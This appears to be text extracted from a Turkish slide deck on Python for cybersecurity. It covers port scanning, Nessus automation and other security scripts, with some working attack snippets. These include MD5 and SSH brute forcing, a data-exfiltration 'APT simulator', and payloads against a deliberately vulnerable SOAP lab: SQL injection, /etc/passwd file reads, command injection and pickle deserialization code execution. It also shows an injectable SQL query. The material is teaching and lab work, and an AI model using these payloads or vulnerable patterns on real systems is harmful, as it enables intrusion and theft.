This document discusses several Python scripts for cyber security tasks like network scanning, password cracking, web application testing, and more. It includes code snippets to perform port scanning with socket programming, Caesar cipher encryption/decryption, website content monitoring, Nmap automation, Rainbow table creation, Metasploit integration, and wireless network scanning. The document aims to demonstrate how Python can be used to automate common security operations and pentesting techniques.
2. ENVANTER YÖNETIMI
# -*- coding: utf-8 -*-
import socket
import subprocess
banner_liste=[]
IP=raw_input("Ip adresini giriniz:")
baslangic_port=input("Baslangic port:")
bitis_port=input("Bitis port:")
for port in range(baslangic_port,bitis_port):
try:
soket = socket.socket()
soket.connect((IP,port))
banner=str(soket.recv(1024))
print "[+]Port:",str(port)
print "[+]Banner:",banner
banner_liste.append(str(banner))
https://raw.githubusercontent.com/kaleakademi/siber-guvenlik-icin-python-egitimi/main/socketuygulama.py
3. ENVANTER YÖNETIMI
if port == 22:
print "Bu sistem linux veya bir ağ cihazı olabilir"
dosya= open("linux.txt","r")
icerik = dosya.read()
dosya.close()
if not str(IP) in icerik:
dosya = open("linux.txt","a")
veri= IP+"n"
dosya.write(veri)
dosya.close()
print "Yeni IP adresi kontrolü"
dosya = open("yeni_ip.txt","r")
icerik = dosya.read()
dosya.close()
if not str(IP) in icerik:
dosya = open("yeni_ip.txt","a")
veri = IP+"n"
dosya.write(veri)
dosya.close()
https://raw.githubusercontent.com/kaleakademi/siber-guvenlik-icin-python-egitimi/main/socketuygulama.py
5. CEASER ŞIFRELEME
def ceasarSifreCoz(yazi):
duzyazi = ""
yaziListe = []
yaziSayi = []
yaziListe = list(yazi)
#print yaziListe
for otelemeMiktari in range(1,29):
for i in yaziListe:
yaziSayi = ord(i) - otelemeMiktari
duzyazi = duzyazi + chr(yaziSayi)
print str(otelemeMiktari)+" harf kadar ötelenmiş düz metin : "+ duzyazi
duzyazi=""
print "----Sezar Şifreleme----"
ceasarSifre=ceasarSifreleme("merhaba",3)
print "Şifreli metin : "+ceasarSifre
print "----Sezar Şifre Çözme----"
ceasarSifreCoz(ceasarSifre)
https://raw.githubusercontent.com/anil-yelken/siber-guvenlik-icin-python/main/Ceaser.py
6. IÇERIK KONTROLÜ
# -*- coding: utf-8 -*-
import requests
import smtplib
import time
while 1:
time.sleep(60)
response=requests.get('https://a.wordpress.com')
responseIcerik=response.content
kontrol = 0
dosya = open('icerik.txt','r')
dosyaIcerik=dosya.readlines()
dosya.close()
for i in dosyaIcerik:
if str(i).split("n")[0] in responseIcerik:
kontrol = kontrol + 1
https://raw.githubusercontent.com/anil-yelken/siber-guvenlik-icin-python/main/icerikKontrol.py
8. HASH KONTROLÜ
import itertools
import hashlib
karakterSeti='abcdefghijklmnoprstuvyz'
karakter=raw_input("Max kac karakter olacak: ")
md5=raw_input("Md5 giriniz: ")
for i in range(1,int(karakter)+1,1):
sonuc=itertools.combinations_with_replacement(karakt
erSeti,i)
for password in sonuc:
if
md5==hashlib.md5(''.join(password)).hexdigest():
print "Sifre: ",str(''.join(password))
https://raw.githubusercontent.com/anil-yelken/siber-guvenlik-icin-python/main/md5tanSifreye.py
9. RAINBOW TABLE OLUSTURUCU
import itertools
import hashlib
sozlukListe=[[],[]]
karakterSeti='ab12'
karakter=raw_input("Max kac karakter olacak: ")
for i in range(1,int(karakter)+1,1):
sonuc=itertools.combinations_with_replacement(karakterSeti,i)
for password in sonuc:
sozlukListe[0].append(''.join(password))
sozlukListe[1].append(hashlib.md5(''.join(password)).hexdigest())
#print hashlib.md5(''.join(password)).hexdigest()
print "Sozluk:",sozlukListe[0]
print "Hashler:",sozlukListe[1]
https://raw.githubusercontent.com/anil-yelken/siber-guvenlik-icin-python/main/rainbowOlustur.py
10. SSH KABA KUVVET SALDIRISI
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
Username=["siber","guvenlik"]
Password=["siber","guvenlik"]
for i in Username:
for j in Password:
try:
sonuc=client.connect('192.168.50.50', username=i, password=j)
#print sonuc
client.close()
print "Username: ",i," Password: ",j
except:
print "Username: ",i," Password: ",j,"baglanti yapilamadi"
https://github.com/anil-yelken/siber-guvenlik-icin-python/blob/main/sshBruteForce.py
15. NESSUS OTOMASYONU
url="https://127.0.0.1:8834/scans"
sonuc= requests.get(url=url,headers=header,verify=False)
for i in sonuc.json()['scans']:
#print i
if "Host Discovery" in str(i['name']):
url="https://127.0.0.1:8834/scans/"+str(i['id'])
sonuc= requests.get(url=url,headers=header,verify=False)
for j in sonuc.json()['hosts']:
dosya_adi=str(i['name'])+"_ipler.txt"
veri=str(j['hostname'])+"n"
dosya=open(dosya_adi,"a")
dosya.write(veri)
dosya.close()
https://github.com/kaleakademi/siber-guvenlik-icin-python-egitimi/blob/main/nessus2.py
16. NESSUS OTOMASYONU
url="https://127.0.0.1:8834/scans/"+str(i['id'])+"/hosts/"+str(j['host_id'])
IP_sonuc= requests.get(url=url,headers=header,verify=False)
for k in IP_sonuc.json()['vulnerabilities']:
plugin_id=k['plugin_id']
url="https://127.0.0.1:8834/plugins/plugin/"+str(plugin_id)
plugin_sonuc= requests.get(url=url,headers=header,verify=False)
if str(plugin_sonuc.json()['id']) in "11936":
for plugin in plugin_sonuc.json()['attributes']:
if "os_identification" in plugin['attribute_name']:
print str(j['hostname'])
print IP_sonuc.json()['info']['operating-system']
https://github.com/kaleakademi/siber-guvenlik-icin-python-egitimi/blob/main/nessus2.py
17. NESSUS OTOMASYONU
for i in sonuc.json()['scans']:
if "Host Discovery" in i['name'] and "completed" in i['status']:
url="https://"+IP+":8834/scans/"+str(i['id'])
sonuc=requests.get(url=url,headers=header,verify=False)
for j in sonuc.json()['hosts']:
if not j['hostname'] in iplerListe:
conn=sqlite3.connect('hostDiscovery.db')
c=conn.cursor()
c.execute('INSERT INTO hosts VALUES (?,?)',(str(j['hostname']),str(datetime.datetime.now())))
conn.commit()
conn.close()
print "New IP:",j['hostname']
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((SIEMhost,SIEMport))
message="New host:"+j['hostname']
s.sendall(message)
s.close()
https://github.com/anil-yelken/Nessus-Automation/blob/main/finding-new-ip-nessus.py
19. SIBER GÜVENLIK KONTROL
DOĞRULAMA PLATFORMU
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
result = sock.connect_ex((vulnerable_ip,8000))
if result == 0:
print("Vulnerable SOAP service is running")
else:
print("Vulnerable SOAP service isn't running")
except:
pass
20. SIBER GÜVENLIK KONTROL
DOĞRULAMA PLATFORMU
print("SOAP SQL injection is testing...")
try:
result=client.service.query("' or '1=1")
#print(result)
if "test" in result and "erlik" in result:
successful_attack+=1
print("Successful attack")
else:
unsuccessful_attack+=1
print("Unsuccessful attack")
except:
unsuccessful_attack+=1
print("Unsuccessful attack")
pass
print("SOAP SQL injection is finished.")
21. SIBER GÜVENLIK KONTROL
DOĞRULAMA PLATFORMU
@rpc(String , _returns=String)
def query(ctx, name):
con = sqlite3.connect("test.db")
cur = con.cursor()
cur.execute("select * from test where username = '%s'" % name )
data=str(cur.fetchall())
con.close()
import logging
logging.basicConfig(filename="soap_server.log", filemode='w', level=logging.DEBUG)
logging.debug(data)
return(data)
27. APT SIMULATOR
try:
file_zip = zipfile.ZipFile('file.zip', 'w')
for folder, subfolders, files in os.walk('.'):
for file in files:
if file.endswith('.txt'):
file_zip.write(os.path.join(folder, file),
os.path.relpath(os.path.join(folder, file), '.'),
compress_type=zipfile.ZIP_DEFLATED)
file_zip.close()
print("Files are compressed.")
s = socket.socket()
s.connect(("127.0.0.1", 80))
with open("file.zip", "rb") as f:
while True:
bytes_read = f.read(4096)
if not bytes_read:
break
s.sendall(bytes_read)
s.close()
print("Zip file sent.")
except:
pass
28. APT SIMULATOR
import socket
s = socket.socket()
s.bind(("0.0.0.0", 80))
s.listen()
client_socket, address = s.accept()
print(f"[+] {address} is connected.")
with open("received_file.zip", "wb") as f:
while True:
bytes_read = client_socket.recv(4096)
if not bytes_read:
break
f.write(bytes_read)
client_socket.close()
s.close()
30. PYWIRT
import winrm
with open('cred_list.txt') as f:
lines = f.readlines()
for line in lines:
IP_address=line.split("|")[0]
user=line.split("|")[1]
passw=line.split("|")[2].split("n")[0]
print(IP_address,"-",user,"-",passw,"-")
winrm_session = winrm.Session(IP_address, auth=(user, passw))
try:
print("IP Configuration:")
result = winrm_session.run_cmd('ipconfig', ['/all'])
for result_line in result.std_out.decode('ascii').split("rn"):
print(result_line)
except:
pass
36. SOAR
def alienvault_control(OTX_key,find_word):
from OTXv2 import OTXv2
otx = OTXv2(OTX_key)
for i in (otx.getall()):
try:
id = str(i['id'])
except:
id = ""
try:
name = str(i['name'])
except:
name = ""
try:
description = str(i['description'])
except:
description = ""
63. VULNERABLE SOAP SERVICE
LFI
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.read_file("/etc/passwd"))
64. VULNERABLE SOAP SERVICE
SQL INJECTION
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.query("' or '1=1"))
65. VULNERABLE SOAP SERVICE
INFORMATION DISCLOSURE
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.get_log())
66. VULNERABLE SOAP SERVICE
COMMAND INJECTION
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.get_users("kali /etc/passwd ; id n# "
67. VULNERABLE SOAP SERVICE
BRUTE FORCE
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
username_list=["admin","test","siber","siber1"]
for username in username_list:
print(client.service.query(username))
68. VULNERABLE SOAP SERVICE
DESERIALIZATION
import socket,pickle,builtins
HOST = "127.0.0.1"
PORT = 8001
class Pickle(object):
def __reduce__(self):
return (builtins.exec, ("with open('/etc/passwd','r') as files: print(files.readlines())",))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((HOST,PORT))
sock.sendall(pickle.dumps(Pickle()))
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.deserialization())
69. ŞIRKET SOSYAL MEDYA HESAPLARI
• https://kaleileriteknoloji.medium.com/
https://www.linkedin.com/company/54162391
https://twitter.com/kaleileri
https://twitter.com/kaleakademi
https://www.instagram.com/kaleileri/
https://www.instagram.com/kalesiberakademi
https://github.com/kaleakademi
https://www.youtube.com/results?search_query=kale+ileri+teknoloji+
70. KIŞISEL SOSYAL MEDYA HESAPLARIM
• https://www.linkedin.com/in/ayelk/
• https://twitter.com/anilyelken06
• https://medium.com/@anilyelken
• https://github.com/anil-yelken